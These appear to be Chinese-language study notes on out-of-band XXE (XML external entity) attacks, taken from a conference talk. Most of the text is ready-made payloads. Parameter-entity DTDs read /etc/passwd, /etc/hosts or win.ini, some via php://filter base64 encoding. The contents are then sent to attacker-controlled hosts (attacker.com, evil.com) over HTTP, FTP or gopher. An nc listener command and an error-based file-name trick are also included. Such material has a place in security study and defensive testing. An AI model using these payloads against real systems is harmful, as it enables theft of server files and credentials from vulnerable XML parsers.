OOB(Out-Of-Band):外带数据
多数情况下,能直接返回目标内容的攻击场景很少,因此需要一些技巧
来获取我们想要的数据。
• 参数实体(Parameter Entity):
如果说实体是XML节点中引用的内容,那么参数实体就是实体中引
用的内容。
<!ENTITY % name "foo">
<!ENTITY copyright "copyright © 2008, %name;.cn, ALL Right Reserved
">
1)参数实体只能在DTD声明中使用。
2)参数实体中不能再引用参数实体。
<!--http带外通信-->
<!--evil.xml-->
<?xml version="1.0"?>
<!DOCTYPE root[
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/ext.dtd">
%dtd;
%send;
]>
<zabbix_export></zabbix_export>
<!--ext.dtd-->
<!--嵌套参数实体的‘%’需要其十进制或16进制编码格式即%或%-->
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://attacker.com/?%file;'>">%all;
PHP环境下可以使用php://filter:
php://filter/read=convert.base64-encode/resource=/etc/hosts
利用FTP协议外带数据
两者相结合
<!--evil.xml-->
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY % asd SYSTEM "http://attacker.com/evt.dtd">
%asd;
%c;
%rrr;
]>
<a></a>
<!--ext.dtd-->
<!ENTITY % b SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % c "<!ENTITY % rrr SYSTEM 'ftp://evil.com:8000/%b'>">
Gopher:古老的信息查找协议 【Java1.6】
格式:gopher://{host}:{port}/{type}{request}
• type:为一位整型数字
• request:任意要发送的请求内容,使用URL格式编码。
在服务器中使用NC监听指定端口:
nc –lnp 1337
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evt.dtd">
%dtd;
]>
<a></a>
<!--ext.dtd-->
<!ENTITY % all "<!ENTITY % rrr SYSTEM 'gopher://ip:8080/1%file'>">%all;
无效文件名构造主动报错
evil.xml
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY % one SYSTEM "http://attacker.com/ext.dtd">
%one;
%two;
%four;
]>
<!--ext.dtd-->
<!ENTITY % three SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % two SYSTEM "<!ENTITY % four SYSTEM 'file:///%three'>">
资料来源:5-XML实体攻击:从内网探测到命令执行步步惊心-张天琪.pdf
网友评论